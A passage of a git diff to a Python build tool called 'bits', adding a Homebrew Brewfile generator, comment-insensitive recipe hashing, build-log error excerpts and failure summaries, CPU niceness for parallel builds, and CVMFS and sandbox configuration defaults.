args.architecture.split("_")[0] + # Derive the builder image from the distro token wherever it sits in the + # architecture string (pattern, not positional split), so reordered or + # underscore-machine layouts still resolve. Fall back to the legacy + # first-underscore field if no known distro token is recognised. + distro_token = arch_distro_token(args.architecture) or args.architecture.split("_")[0] + args.dockerImage = "registry.cern.ch/alisw/%s-builder" % distro_token # ── --docker-platform / cross-compilation ───────────────────────────────── # Derive the Docker --platform value from --architecture when the user has @@ -1205,7 +1474,7 @@ def finaliseArgs(args, parser): if args.action in ("build", "doctor"): # On selected platforms, caching is active by default - if args.architecture in S3_SUPPORTED_ARCHS and not args.preferSystem and not args.no_remote_store: + if normalise_arch_key(args.architecture) in _S3_SUPPORTED_ARCH_KEYS and not args.preferSystem and not args.no_remote_store: args.noSystem = "*" if not args.remoteStore: args.remoteStore = "https://s3.cern.ch/swift/v1/alibuild-repo" @@ -1234,6 +1503,11 @@ def finaliseArgs(args, parser): if args.action == "init": args.configDir = args.configDir % {"prefix": args.develPrefix + "/"} elif args.action == "build": + # Resource monitoring defaults ON in parallel mode (--builders > 1) and OFF + # for serial builds, unless the user passed --resource-monitoring / + # --no-resource-monitoring explicitly (in which case it is True/False here). + if args.resourceMonitoring is None: + args.resourceMonitoring = getattr(args, "builders", 1) > 1 if args.resourceMonitoring: try: import psutil diff --git a/bits_helpers/brew.py b/bits_helpers/brew.py new file mode 100644 index 00000000..3c249616 --- /dev/null +++ b/bits_helpers/brew.py @@ -0,0 +1,137 @@ +"""`bits brew` — generate a Homebrew Brewfile from the recipes. + +macOS is a developer platform for bits (it does not build/distribute CVMFS +packages there), so stable, low-level system libraries are sourced from Homebrew +rather than built. A recipe opts in by declaring, in its YAML header: + + homebrew_formula: readline # one formula, or a list + homebrew_taps: # optional, rarely needed + - some/tap + +This command scans the recipe directory, collects every such declaration that +applies to the target architecture (its prefer_system must match, when present), +and writes a Brewfile — the executable manifest of the macOS "system layer". +Install it in one shot with `brew bundle --file Brewfile`, or let +`bits build --brew` install formulae on demand during resolution. + +The Brewfile is a *derived* artifact: the recipes are the source of truth. Keep +it next to them in the recipe repo (e.g. lcg.bits/macos/Brewfile) and regenerate ++ commit whenever a recipe's Homebrew declaration changes. `--check` (CI / pre- +commit) fails if the committed file is stale. +""" + +import os +import sys +import glob + +from bits_helpers.log import debug, error, info +from bits_helpers.utilities import parseRecipe, FileReader + + +def _as_list(value): + """Normalise a scalar-or-list YAML value into a list of strings.""" + if value is None: + return [] + if isinstance(value, (list, tuple)): + return [str(v).strip() for v in value if str(v).strip()] + return [str(value).strip()] if str(value).strip() else [] + + +def collect_homebrew(configDir, architecture): + """Return (formulae, taps) declared by recipes in configDir for architecture. + + The Brewfile is a macOS artifact (Homebrew is the macOS system layer here), so + for a non-osx architecture there is nothing to emit. On osx, a recipe + contributes its `homebrew_formula` when it declares no `prefer_system` (author + opted in unconditionally) or its `prefer_system` regex matches `architecture` + (so a Linux-only declaration is never emitted into a macOS Brewfile). + """ + import re + formulae, taps = set(), set() + if not str(architecture).startswith("osx"): + return formulae, taps + for path in sorted(glob.glob(os.path.join(configDir, "*.sh"))): + err, spec, _ = parseRecipe(FileReader(path)) + if err or not spec: + # Not a parseable recipe (e.g. a defaults-*.sh helper). Skip quietly. + continue + declared = _as_list(spec.get("homebrew_formula")) + if not declared: + continue + pref = spec.get("prefer_system") + if pref is not None: + try: + if not re.match(pref, architecture): + continue + except re.error: + error("brew: malformed prefer_system %r in %s", pref, os.path.basename(path)) + continue + formulae.update(declared) + taps.update(_as_list(spec.get("homebrew_taps"))) + return formulae, taps + + +def render_brewfile(formulae, taps, architecture): + """Render a sorted, deterministic Brewfile string.""" + lines = [ + "# Generated by `bits brew` — do not edit by hand.", + "# Source of truth: the homebrew_formula: fields in the bits recipes.", + "# Regenerate with: bits brew -a %s -o " % architecture, + "# Install with: brew bundle --file ", + "", + ] + for tap in sorted(taps): + lines.append('tap "%s"' % tap) + if taps: + lines.append("") + for formula in sorted(formulae): + lines.append('brew "%s"' % formula) + return "\n".join(lines) + "\n" + + +def doBrew(args, parser): + """Entry point for `bits brew`.""" + if not str(args.architecture).startswith("osx"): + info("brew: architecture %s is not macOS; the Brewfile will list only " + "recipes whose prefer_system matches it (usually none).", args.architecture) + + if not os.path.isdir(args.configDir): + parser.error("config directory not found: %s" % args.configDir) + + # The Brewfile is a derived artifact of the recipes, so by default it lives + # next to them at /macos/Brewfile (e.g. lcg.bits/macos/Brewfile). + if args.output is None: + args.output = os.path.join(args.configDir, "macos", "Brewfile") + + formulae, taps = collect_homebrew(args.configDir, args.architecture) + content = render_brewfile(formulae, taps, args.architecture) + + if args.check: + # CI / pre-commit: succeed only if the file already matches. + if args.output == "-": + parser.error("--check needs a real --output file, not stdout") + try: + with open(args.output) as fh: + current = fh.read() + except OSError: + error("brew: %s is missing; run 'bits brew -o %s' to create it.", + args.output, args.output) + return False + if current != content: + error("brew: %s is out of date; regenerate with 'bits brew -o %s'.", + args.output, args.output) + return False + info("brew: %s is up to date (%d formulae).", args.output, len(formulae)) + return True + + if args.output == "-": + sys.stdout.write(content) + else: + out_dir = os.path.dirname(os.path.abspath(args.output)) + if out_dir and not os.path.isdir(out_dir): + os.makedirs(out_dir, exist_ok=True) + with open(args.output, "w") as fh: + fh.write(content) + info("brew: wrote %d formulae%s to %s", len(formulae), + (" and %d taps" % len(taps)) if taps else "", args.output) + return True diff --git a/bits_helpers/build.py b/bits_helpers/build.py index f2c2a402..bc5c0b23 100644 --- a/bits_helpers/build.py +++ b/bits_helpers/build.py @@ -16,7 +16,7 @@ from bits_helpers.sandbox import wrap_build_command from bits_helpers.utilities import prunePaths, symlink, call_ignoring_oserrors, topological_sort, detectArch from bits_helpers.utilities import resolve_store_path, effective_arch, SHARED_ARCH, compute_combined_arch, pkg_to_shell_id, ver_rev -from bits_helpers.utilities import parseDefaults, readDefaults +from bits_helpers.utilities import parseDefaults, readDefaults, resolve_variables from bits_helpers.utilities import getPackageList, asList from bits_helpers.utilities import validateDefaults from bits_helpers.utilities import Hasher @@ -44,6 +44,7 @@ import os import re import shutil +import shlex import sys import time import subprocess @@ -270,6 +271,40 @@ def storeHook(package, specs, defaults) -> bool: return bool(spec["hook"]) +_HEREDOC_START = re.compile(r"<<-?\s*([\"']?)([A-Za-z_][A-Za-z0-9_]*)\1") + + +def normalize_recipe_for_hash(recipe): + """Return a copy of a recipe body for HASHING ONLY, with full-line comments + and blank lines removed so comment/whitespace edits do not change the build + hash (and thus do not force a rebuild). The executed recipe is untouched. + + Lines inside a here-document are preserved verbatim -- a leading '#' there is + data, not a comment. The here-doc scan is deliberately conservative: it only + ever protects MORE text, so the worst case is a recipe that keeps hashing its + comments (the old behaviour), never two distinct recipes hashing alike. + """ + if not isinstance(recipe, str): + return recipe + out, pending, active = [], [], None + for line in recipe.split("\n"): + if active is not None: # inside a here-doc body: keep verbatim + out.append(line) + if line.strip() == active: # terminator (tabs allowed for <<-) + active = pending.pop(0) if pending else None + continue + delims = [m.group(2) for m in _HEREDOC_START.finditer(line)] + if delims: # this line opens one or more here-docs + out.append(line) + active, pending = delims[0], delims[1:] + continue + stripped = line.strip() + if not stripped or stripped.startswith("#"): # blank or whole-line comment + continue + out.append(line) + return "\n".join(out) + + def storeHashes(package, specs, considerRelocation): """Calculate various hashes for package, and store them in specs[package]. @@ -293,7 +328,12 @@ def storeHashes(package, specs, considerRelocation): h_all(str(time.time())) for key in ("recipe", "version", "package"): - h_all(spec.get(key, "none")) + val = spec.get(key, "none") + # Hash the recipe with full-line comments / blank lines removed so that + # documentation-only edits do not change the hash and force a rebuild. + if key == "recipe": + val = normalize_recipe_for_hash(val) + h_all(val) # pkg_family changes the installation path (ARCH/FAMILY/PKG/VER vs # ARCH/PKG/VER), so tarballs built with different family settings are @@ -634,27 +674,48 @@ def _dep_init_path(dep): # We only put the values in double-quotes, so that they can refer to other # shell variables or do command substitution (e.g. $(brew --prefix ...)). lines.extend('export {}="{}"'.format(key, resolve_spec_data(spec, value, "")) - for key, value in spec.get("env", {}).items() - if key != "DYLD_LIBRARY_PATH") + for key, value in spec.get("env", {}).items()) # Append paths to variables, if requested using append_path. # Again, only put values in double quotes so that they can refer to other variables. lines.extend('export {key}="${key}:{value}"' .format(key=key, value=":".join(asList(value))) - for key, value in spec.get("append_path", {}).items() - if key != "DYLD_LIBRARY_PATH") + for key, value in spec.get("append_path", {}).items()) # First convert all values to list, so that we can use .setdefault().insert() below. prepend_path = {key: [resolve_spec_data(spec, dir, "") for dir in asList(value)] for key, value in spec.get("prepend_path", {}).items()} - # By default we add the .../bin directory to PATH and .../lib to LD_LIBRARY_PATH. - # Prepend to these paths, so that our packages win against system ones. - for key, value in (("PATH", "bin"), ("LD_LIBRARY_PATH", "lib"), ("LD_LIBRARY_PATH", "lib64")): + # By default we add the .../bin directory to PATH, .../lib to LD_LIBRARY_PATH + # and .../lib*/pkgconfig to PKG_CONFIG_PATH. Prepend to these paths, so that + # our packages win against system ones. + # + # PKG_CONFIG_PATH is added generically here so that the *build-time* + # environment mirrors what each package's runtime modulefile exposes via the + # ModuleRecipe `--pkgconfig` flag: a downstream recipe's ./configure or cmake + # then finds every dependency's .pc files without the recipe having to declare + # `prepend_path: { PKG_CONFIG_PATH: ... }` by hand. Each entry is guarded by a + # directory-existence test below, so adding it for every dependency is safe + # (it is a no-op for packages that ship no pkgconfig directory). + # + # CMAKE_PREFIX_PATH is deliberately NOT added here: CMake recipes pass it on + # the cmake command line as a `;`-separated -D argument (built by CMakeRecipe's + # _SetBuildEnvBase), whereas an environment variable would need `:` separators + # on Unix. Mixing the two on the same name corrupts the list, so build-time + # CMAKE_PREFIX_PATH stays owned by CMakeRecipe. + # The dynamic-loader search path is platform-specific: macOS dyld uses + # DYLD_LIBRARY_PATH (and ignores LD_LIBRARY_PATH), Linux uses LD_LIBRARY_PATH. + # Emit only the relevant one so build-time tools find their dependencies' + # shared libraries — on macOS this is what lets e.g. protoc -> Abseil work + # after the install-time rpath is stripped. The build environment must NOT + # unset this variable after sourcing init.sh (see build_template.sh). + _lib_path_var = "DYLD_LIBRARY_PATH" if architecture.startswith("osx") else "LD_LIBRARY_PATH" + for key, value in (("PATH", "bin"), + (_lib_path_var, "lib"), (_lib_path_var, "lib64"), + ("PKG_CONFIG_PATH", "lib/pkgconfig"), ("PKG_CONFIG_PATH", "lib64/pkgconfig")): prepend_path.setdefault(key, []).insert(0, f"${bigpackage}_ROOT/{value}") lines.extend('[ ! -d "{value}" ] || export {key}="{value}${{{key}+:${key}}}"' .format(key=key, value=dir) for key, value in prepend_path.items() - if key != "DYLD_LIBRARY_PATH" for dir in value) # Return string without a trailing newline, since we expect call sites to @@ -701,6 +762,135 @@ def dependency_list(key): }) +# High-signal patterns that usually pinpoint the proximate cause of a build +# failure. Used to surface a short excerpt in the failure message so users do +# not have to open and grep the full (often huge) log by hand. +_ERROR_PATTERNS = re.compile( + r"(?i)(" + r"error:|" # gcc/clang "error:" and "CMake Error:" + r"fatal error:|" # missing headers etc. + r"configure: error:|" # autotools + r"CMake Error|" # cmake (non-colon form) + r"undefined reference|" # link errors + r"collect2: error|" # linker driver + r"ld: (error|cannot|symbol)|" # linker (avoid matching e.g. "build:") + r"No such file or directory|" + r"command not found|" + r"Permission denied|" + r"Traceback \(most recent call last\)|" + r"ModuleNotFoundError|ImportError:|" + r"\*\*\* \[.*\] Error [0-9]|" # make: *** [target] Error N + r"make(\[[0-9]+\])?: \*\*\*|" # make: *** / make[1]: *** + r"recipe for target|" + r"Could NOT find|" # cmake find_package failure reason + r"missing: |" # cmake "(missing: VAR ...)" detail + r"Configuring incomplete" # cmake configure summary + r")" +) + + +def _extract_error_excerpt(log_path, max_match=15, tail=12, scan_limit=20000): + """Return a short, high-signal excerpt from a build log to speed up triage. + + Collects the last `max_match` lines matching known error patterns (scanning + only the final `scan_limit` lines, since the proximate cause is near the end) + plus the final `tail` lines (the actual failure point). Best-effort only: + returns "" if the log is missing/empty/unreadable and never raises. + """ + try: + with open(log_path, "r", errors="replace") as f: + lines = f.readlines() + except (OSError, IOError): + return "" + if not lines: + return "" + window = lines[-scan_limit:] + matched = [] + for ln in window: + if _ERROR_PATTERNS.search(ln): + s = ln.rstrip("\n") + if not matched or matched[-1] != s: # drop consecutive duplicates + matched.append(s) + matched = matched[-max_match:] + tail_lines = [ln.rstrip("\n") for ln in lines[-tail:]] + out = [] + if matched: + out.append(" Matched error lines (last %d):" % len(matched)) + out.extend(" " + m for m in matched) + if tail_lines: + out.append(" Last %d lines of log:" % len(tail_lines)) + out.extend(" " + t for t in tail_lines) + return "\n".join(out) + + +def write_failure_summary(work_dir, scheduler): + """Write a concise per-run failure summary for a --builders build. + + The full per-package error messages collected by the scheduler are verbose + (log paths, environment, next-steps, ...), so a whole-stack failure produces + an unreadable wall of text. This distils, into ``/build-summary.log``: + * each package that *directly* failed to build, with its log path and the + proximate error excerpt (the matched error lines); + * the count of packages skipped only because a dependency failed. + Also writes the full, verbose per-action errors to + ``/build-errors-full.log`` so there is a single combined log to + consult (the concise summary points at the individual per-package logs). + + Returns ``(summary_path, full_path)`` (either element may be None), or + ``(None, None)`` if there were no failures. + """ + fails = getattr(scheduler, "buildFailures", None) or [] + errors = getattr(scheduler, "errors", {}) or {} + direct_names = {f["package"].split("@", 1)[0] for f in fails} + cascaded = [] + for action, msg in errors.items(): + if "could not complete" in str(msg): + pkg = str(action).split(":", 1)[-1] + if pkg not in direct_names: + cascaded.append(pkg) + if not fails and not cascaded: + return (None, None) + _ansi = re.compile(r"\033\[[0-9;]*m") + full_path = os.path.join(work_dir, "build-errors-full.log") + try: + with open(full_path, "w") as fh: + for action, msg in errors.items(): + fh.write("* %s\n%s\n\n" % (action, _ansi.sub("", str(msg)))) + except OSError as exc: + warning("Could not write full error log %s: %s", full_path, exc) + full_path = None + path = os.path.join(work_dir, "build-summary.log") + try: + with open(path, "w") as fh: + fh.write("BUILD FAILURE SUMMARY\n=====================\n\n") + fh.write("%d package(s) failed to build; %d skipped because a dependency failed.\n\n" + % (len(fails), len(cascaded))) + if fails: + fh.write("Failed to build:\n") + for f in sorted(fails, key=lambda x: x["package"].lower()): + fh.write(" - %s\n" % f["package"]) + fh.write("\n") + for f in sorted(fails, key=lambda x: x["package"].lower()): + fh.write("-" * 72 + "\n") + fh.write("FAILED: %s\n" % f["package"]) + fh.write(" log: %s\n" % f.get("log", "?")) + if f.get("install_root"): + fh.write(" install root: %s\n" % f["install_root"]) + if f.get("excerpt"): + fh.write("\n") + for line in f["excerpt"].splitlines(): + fh.write(" " + line + "\n") + fh.write("\n") + if cascaded: + fh.write("-" * 72 + "\n") + fh.write("Skipped (a dependency failed to build), %d package(s):\n %s\n" + % (len(cascaded), ", ".join(sorted(cascaded)))) + except OSError as exc: + warning("Could not write failure summary %s: %s", path, exc) + return (None, full_path) + return (path, full_path) + + def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scriptDir, workDir, syncHelper): spec = specs[p] debug("Build command: %s", build_command) @@ -721,10 +911,49 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr (spec["package"], args.develPrefix if "develPrefix" in args and spec["is_devel_pkg"] else spec["version"]) ) - if args.resourceMonitoring: - err = run_monitor_on_command(build_command, "{}/{}.json".format(scriptDir, p), printer=progress) - else: - err = execute(build_command, printer=progress) + # Optional nice-ladder: claim a priority slot for this concurrent build so CPU + # contention degrades gracefully (lead build at full speed, others backed off). + # No-op unless --build-nice is set (nice_ladder stays None). + # * Native builds: wrap in `nice -n N /bin/sh -c ` so the whole build + # process tree inherits the niceness. Robust for compound commands and + # thread-safe (no preexec_fn fork hazard in the scheduler's workers). + # * Docker/podman builds: each builder is a separate container (cgroup), so + # niceness inside one cannot rank it against the others — the host ranks + # the *containers* by cgroup CPU weight. Inject `--cpu-shares=W` (the + # container-level equivalent, derived from the same ladder) into `… run`. + nice_ladder = getattr(scheduler, "nice_ladder", None) if scheduler is not None else None + nice_token = None + if nice_ladder is not None: + nice_token, nice_level = nice_ladder.acquire() + if nice_level: # nice 0 / default shares need no change + if getattr(args, "docker", False): + from bits_helpers.nice_ladder import cpu_shares_for_nice + shares = cpu_shares_for_nice(nice_level) + # Name the build container (unique per build) so the straggler watchdog + # can later restore its cpu-shares via `docker update `. + cname = "bits-build-%s-%s" % (re.sub(r'[^a-zA-Z0-9_.-]', '-', p), os.urandom(4).hex()) + build_command, _subbed = re.subn( + r'\b(docker|podman)\s+run\s', + r'\1 run --cpu-shares=%d --name %s ' % (shares, cname), + build_command, count=1) + if _subbed: + _wd = getattr(scheduler, "renice_watchdog", None) if scheduler is not None else None + if _wd is not None: + _dbin = "podman" if build_command.lstrip().startswith("podman") else "docker" + _wd.register_container(cname, _dbin) + else: + debug("build-nice: could not inject --cpu-shares/--name (no 'docker/podman run' " + "in command); container build runs unthrottled this slot.") + else: + build_command = "nice -n %d /bin/sh -c %s" % (nice_level, shlex.quote(build_command)) + try: + if args.resourceMonitoring: + err = run_monitor_on_command(build_command, "{}/{}.json".format(scriptDir, p), printer=progress) + else: + err = execute(build_command, printer=progress) + finally: + if nice_ladder is not None: + nice_ladder.release(nice_token) if args.builders==1: progress.end("failed" if err else "done", err) report_event("BuildError" if err else "BuildSuccess", spec["package"], " ".join(( @@ -744,13 +973,25 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr # Determine paths devSuffix = "-" + args.develPrefix if "develPrefix" in args and spec["is_devel_pkg"] else "" log_path = f"{buildWorkDir}/BUILD/{spec['package']}-latest{devSuffix}/log" + log_abs_path = log_path # keep the absolute path; log_path may become relative below build_dir = f"{buildWorkDir}/BUILD/{spec['package']}-latest{devSuffix}/{spec['package']}" + # Staging install prefix ($INSTALLROOT in the recipe): where the package's + # files are installed before being tarred. Useful for inspecting a partial + # install after a failure. + try: + install_root = _pkg_install_path( + join(buildWorkDir, "INSTALLROOT", spec["hash"]), + effective_arch(spec, args.architecture), spec) + except Exception: # pylint: disable=broad-except + install_root = None # Use relative paths if we're inside the work directory try: from os.path import relpath log_path = relpath(log_path, os.getcwd()) build_dir = relpath(build_dir, os.getcwd()) + if install_root: + install_root = relpath(install_root, os.getcwd()) except (ValueError, OSError): pass # Keep absolute paths if relpath fails @@ -770,6 +1011,18 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr buildErrMsg += f"{bold}Build Directory:{reset}\n" buildErrMsg += f" {build_dir}\n" + if install_root: + buildErrMsg += f"{bold}Install Root:{reset}\n" + buildErrMsg += f" {install_root}\n" + + # Surface the proximate error so the user does not have to open the full log. + excerpt = "" + if err: + excerpt = _extract_error_excerpt(log_abs_path) or "" + if excerpt: + buildErrMsg += f"\n{bold}Error excerpt:{reset}\n" + buildErrMsg += excerpt + "\n" + updatablePkgs = [dep for dep in spec["requires"] if specs[dep]["is_devel_pkg"]] if spec["is_devel_pkg"]: updatablePkgs.append(spec["package"]) @@ -796,13 +1049,18 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr cli_args.append(f"--{k}") elif isinstance(v, list): if v: # Only show non-empty lists - # For lists, use multiple --flag value or --flag=val1,val2 + # For lists, use multiple --flag=val entries; deduplicate while + # preserving first-seen order (duplicates can arise from the + # prefer_system / system_requirement resolution loop). + seen = set() for item in v: - cli_args.append(f"--{k}={quote(str(item))}") + if item not in seen: + seen.add(item) + cli_args.append(f"--{k}={quote(str(item))}") else: # Quote if needed cli_args.append(f"--{k}={quote(str(v))}") - + args_str = " ".join(cli_args) buildErrMsg += f"\n{bold}Environment:{reset}\n" @@ -840,6 +1098,16 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr buildErrMsg += f" • Please upload the full log to CERNBox/Dropbox if you intend to request support.\n" if err and args.builders>1: + # Record a concise entry for the end-of-run failure summary (write_failure_summary). + fails = getattr(scheduler, "buildFailures", None) + if fails is not None: + try: + with scheduler.buildFailuresLock: + fails.append({"package": "%s@%s" % (spec["package"], spec["version"]), + "log": log_path, "install_root": install_root, + "excerpt": excerpt}) + except Exception: # pylint: disable=broad-except + pass return buildErrMsg.strip() else: dieOnError(err, buildErrMsg.strip()) @@ -887,6 +1155,31 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr doFinalSync(spec, specs, args, syncHelper) +def _doCheckout(spec, workDir, referenceSources, docker, enforce_mode, + syncHelper, parallel_sources, architecture): + """Scheduler "download" task: fetch a package's sources. + + Used by the --builders path so that source clones/archive downloads run as + scheduler tasks (capped by --parallel-downloads) overlapping compilation, + instead of being executed serially in the preparation loop before any build + starts. Mirrors the work the Makeflow path does in its parallel .checkout + rules (bits_helpers.checkout_runner). + + Returns an empty string on success or an error message on failure, matching + the scheduler convention (a falsy result means the task succeeded). + """ + try: + checkout_sources(spec, workDir, referenceSources, docker, + enforce_mode=enforce_mode, + sync_helper=syncHelper, + parallel_sources=parallel_sources, + architecture=architecture) + except OSError as e: + return "Failed to fetch sources for %s@%s: %s" % ( + spec.get("package", "?"), spec.get("version", "?"), e) + return "" + + def doFinalSync(spec, specs, args, syncHelper): # When --pipeline --makeflow is active, the Makeflow .build rule runs # create_links.sh (dist symlinks) and the .upload rule handles the upload. @@ -1120,6 +1413,26 @@ def doBuild(args, parser): buildTargets = " ".join(args.pkgname) + if not exists(args.configDir): + from bits_helpers.repo_provider import bootstrap_default_config, cwd_is_recipe_dir + _default_config_dir = os.environ.get("BITS_REPO_DIR", "alidist") + + # Step 1 — CWD detection: if the user is sitting inside a checked-out + # recipe repository (e.g. they did "git clone …/lhcb.bits && cd lhcb.bits") + # and did NOT explicitly override --config-dir, use "." so bits picks up the + # local recipes without any further configuration. + if args.configDir == _default_config_dir and cwd_is_recipe_dir(): + debug("Recipe files detected in current directory; using '.' as config dir") + args.configDir = "." + + # Step 2 — Network bootstrap: when still no config dir, fetch bits-providers + # and follow the community pointer (default.bits.sh or .bits.sh) to + # clone a recipe repo automatically. + elif not exists(args.configDir): + bootstrapped = bootstrap_default_config(args, workDir) + if bootstrapped: + args.configDir = bootstrapped + dieOnError(not exists(args.configDir), 'Cannot find recipes under directory "%s".\n' 'Maybe you need to "cd" to the right directory or ' @@ -1133,7 +1446,26 @@ def doBuild(args, parser): if branch_stream == branch_basename: branch_stream = "" - defaultsReader = lambda : readDefaults(args.configDir, args.defaults, parser.error, args.architecture) + def defaultsReader(): + meta, body = readDefaults(args.configDir, args.defaults, parser.error, args.architecture) + # Resolve the `variables:` block into a flat map. Entries may be gated + # (`name: {value: V, when: MATCHER}`) on CLI flavours, the predefined + # architecture variables (osx/linux/arm64/...), or earlier entries; the CLI + # --flavour values are folded in as inputs. The resulting map feeds the + # (?NAME) conditional matchers that gate package requires and %(NAME)s recipe + # templating. CLI flavours override a defaults entry of the same name. + flavours = getattr(args, "flavours", None) or {} + meta["variables"] = resolve_variables( + meta.get("variables"), flavours, args.architecture, args.defaults) + # Flavours are ALSO exported into the build environment + package hash (via + # the `env:` map, which becomes the defaults-release env every package + # depends on), exactly as before. + if flavours: + from collections import OrderedDict as _OD + meta.setdefault("env", _OD()) + for _k, _v in flavours.items(): + meta["env"][_k] = _v + return meta, body (err, overrides, taps, defaultsMeta) = parseDefaults(args.disable, defaultsReader, debug, args.architecture, args.configDir) dieOnError(err, err) @@ -1151,6 +1483,54 @@ def doBuild(args, parser): debug("qualify_arch active: using combined architecture %s (raw: %s)", args.architecture, raw_architecture) + # ── CVMFS layout (templated dirs from defaults-release) ──────────────────── + # When defaults declare cvmfs_dir / install_dir / module_dir (templates that + # may use %(architecture)s), resolve them and use them to default the build/ + # reuse flags so the whole CVMFS chain can be driven from one declaration: + # * docker build -> --cvmfs-prefix = (build in place) + # * reuse deployed -> --remote-store = cvmfs:// (with --reuse-cvmfs) + from bits_helpers.cvmfs_layout import resolve_cvmfs_layout + _cvmfs = resolve_cvmfs_layout(defaultsMeta, args.architecture) + if _cvmfs: + info("CVMFS layout: install=%s modules=%s", _cvmfs["install_path"], _cvmfs["module_path"]) + if args.docker and not getattr(args, "cvmfsPrefix", None) and _cvmfs["cvmfs_dir"]: + args.cvmfsPrefix = _cvmfs["install_path"] + info("Defaulting --cvmfs-prefix to %s (from defaults CVMFS layout)", args.cvmfsPrefix) + if getattr(args, "reuseCvmfs", False) and not args.remoteStore and _cvmfs["cvmfs_dir"]: + args.remoteStore = "cvmfs://" + _cvmfs["cvmfs_dir"] + info("Reusing deployed components: --remote-store %s", args.remoteStore) + + # Build-host policy knobs live under a single `system:` entry in defaults. + # These control *how* the build runs (network, CPU) — not *what* it produces — + # so, unlike `env:`, they are NOT folded into any package hash and changing + # them never triggers a rebuild. For backward compatibility a bare top-level + # key is still honoured (system: wins). + _system = defaultsMeta.get("system", {}) or {} + def _system_opt(key, top_default): + if key in _system: + return _system[key] + return defaultsMeta.get(key, top_default) + + # Global build-time network policy for the recipe sandbox. Precedence: + # explicit --sandbox-network > defaults system.sandbox_network > "on". + # A recipe's own sandbox_network field still overrides this per package + # (handled in sandbox.wrap_build_command). YAML parses bare on/off as bools, + # so normalise to the "on"/"off" strings the sandbox layer expects. + if getattr(args, "sandboxNetwork", None) is None: + _dn = _system_opt("sandbox_network", "on") + if isinstance(_dn, bool): + _dn = "on" if _dn else "off" + args.sandboxNetwork = str(_dn).strip().lower() + + # CPU oversubscription factor for the per-builder -j share. Precedence: + # explicit --oversubscribe > defaults system.build_oversubscribe > 1.0. + # Memory budgeting is unaffected (see effective_jobs). + if getattr(args, "oversubscribe", None) is None: + try: + args.oversubscribe = float(_system_opt("build_oversubscribe", 1.0)) + except (TypeError, ValueError): + args.oversubscribe = 1.0 + # syncHelper is constructed after defaults loading so that it receives the # (potentially combined) architecture string. syncHelper = remote_from_url(args.remoteStore, args.writeStore, args.architecture, @@ -1182,6 +1562,12 @@ def doBuild(args, parser): extra_env = {"BITS_CONFIG_DIR": "/pkgdist.bits" if args.docker else os.path.abspath(args.configDir)} extra_env.update(dict([e.partition('=')[::2] for e in args.environment])) + # --brew lets prefer_system_check scripts run `brew install ` when a + # Homebrew-sourced system package is missing (macOS dev platform). The checks + # run unsandboxed during resolution and read this from the environment; the + # sandboxed build phase only symlinks the (now-present) Homebrew prefix. + if getattr(args, "brew", False): + extra_env["BITS_BREW"] = "1" # ── Repository-provider discovery ───────────────────────────────────────── # Phase 1 – Always-on providers: recipes with ``always_load: true`` (and @@ -1285,10 +1671,19 @@ def performPreferCheckWithTempDir(pkg, cmd): banner("Configured directory:\n%s", os.path.abspath(args.configDir)) banner("Package Recipe will be searched in the following order \n%s", os.environ.get("BITS_PATH")) + # Resolve the effective auto-patch flag for every package. Default behaviour is + # unchanged: patches are applied automatically. A recipe opts out individually + # with `auto_patch: false` in its header (already in spec via YAML); the global + # --no-auto-patch CLI flag or `auto_patch: false` in the active defaults force + # it off for every package. When off, bits still stages the patch files in + # $SOURCEDIR and exports $PATCH0..$PATCH_COUNT, but the recipe applies them. + _global_auto_patch = (bool(getattr(args, "autoPatch", True)) + and bool(defaultsMeta.get("auto_patch", True))) for x in specs.values(): x["requires"] = [r for r in x["requires"] if r not in args.disable] x["build_requires"] = [r for r in x["build_requires"] if r not in args.disable] x["runtime_requires"] = [r for r in x["runtime_requires"] if r not in args.disable] + x["auto_patch"] = _global_auto_patch and bool(x.get("auto_patch", True)) if systemPackages: banner("bits can take the following packages from the system and will not build them:\n %s", @@ -1449,8 +1844,21 @@ def performPreferCheckWithTempDir(pkg, cmd): spec["source"] = resolve_spec_data(spec, spec["source"], args.defaults, branch_basename, branch_stream) if "sources" in spec: spec["sources"] = [resolve_spec_data(spec, src, args.defaults, branch_basename, branch_stream) for src in spec["sources"]] - if variables or spec.get("expand_recipe", False): - spec["recipe"] = resolve_spec_data(spec, spec["recipe"], args.defaults, branch_basename, branch_stream) + if "patches" in spec: + spec["patches"] = [resolve_spec_data(spec, p, args.defaults, branch_basename, branch_stream) for p in spec["patches"]] + # Variables defined in the active --defaults profile's `variables:` block are + # available to every recipe body. When a recipe does not itself opt into + # expansion (no `variables:` / `expand_recipe: true`) we expand it in SOFT + # mode: only known variables are substituted and any other %(...)s / bare % + # is left untouched, so profile-wide variables never clobber or break a + # recipe that happens to contain a literal %(...)s or shell `%`. + default_vars = defaultsMeta.get("variables") or None + recipe_opts_in = bool(variables or spec.get("expand_recipe", False)) + if recipe_opts_in or default_vars: + spec["recipe"] = resolve_spec_data(spec, spec["recipe"], args.defaults, + branch_basename, branch_stream, + default_vars=default_vars, + strict=recipe_opts_in) if spec["is_devel_pkg"] and "develPrefix" in args and args.develPrefix != "ali-master": spec["version"] = args.develPrefix @@ -1541,30 +1949,107 @@ def performPreferCheckWithTempDir(pkg, cmd): mainPackage = buildOrder.pop() warning("Not rebuilding %s because --only-deps option provided.", mainPackage) + # Records {package: scriptDir} for packages whose build we resource-monitor, + # so we can distil per-package CPU/RAM stats at the end of the run (P3). + monitoredDirs = {} + scheduler = None if (args.builders > 1) and buildOrder: from bits_helpers.scheduler import Scheduler from bits_helpers.log import logger - scheduler = Scheduler(args.builders, logDelegate=logger, buildStats=args.resources) + + # --- Self-tuning resource stats (P3) -------------------------------------- + # When building many packages in parallel, hand the scheduler per-package + # CPU/RAM estimates so its ResourceManager only admits a new build when the + # machine still has budget — preventing N heavy builds from starting at once + # and thrashing the node. We auto-load the stats file a previous run left + # behind (re-stamped for this machine), and auto-enable monitoring so the + # current run refreshes it. + # + # This measurement-driven gating is OPT-IN (--auto-resources), off by + # default: without it, concurrency is bounded purely by --builders, which is + # more predictable. Explicit --resources / --resource-monitoring still take + # precedence and work regardless of the flag. + if getattr(args, "autoResources", False): + if not args.resources: + from bits_helpers.build_stats import autoload_stats_path + _auto_stats = 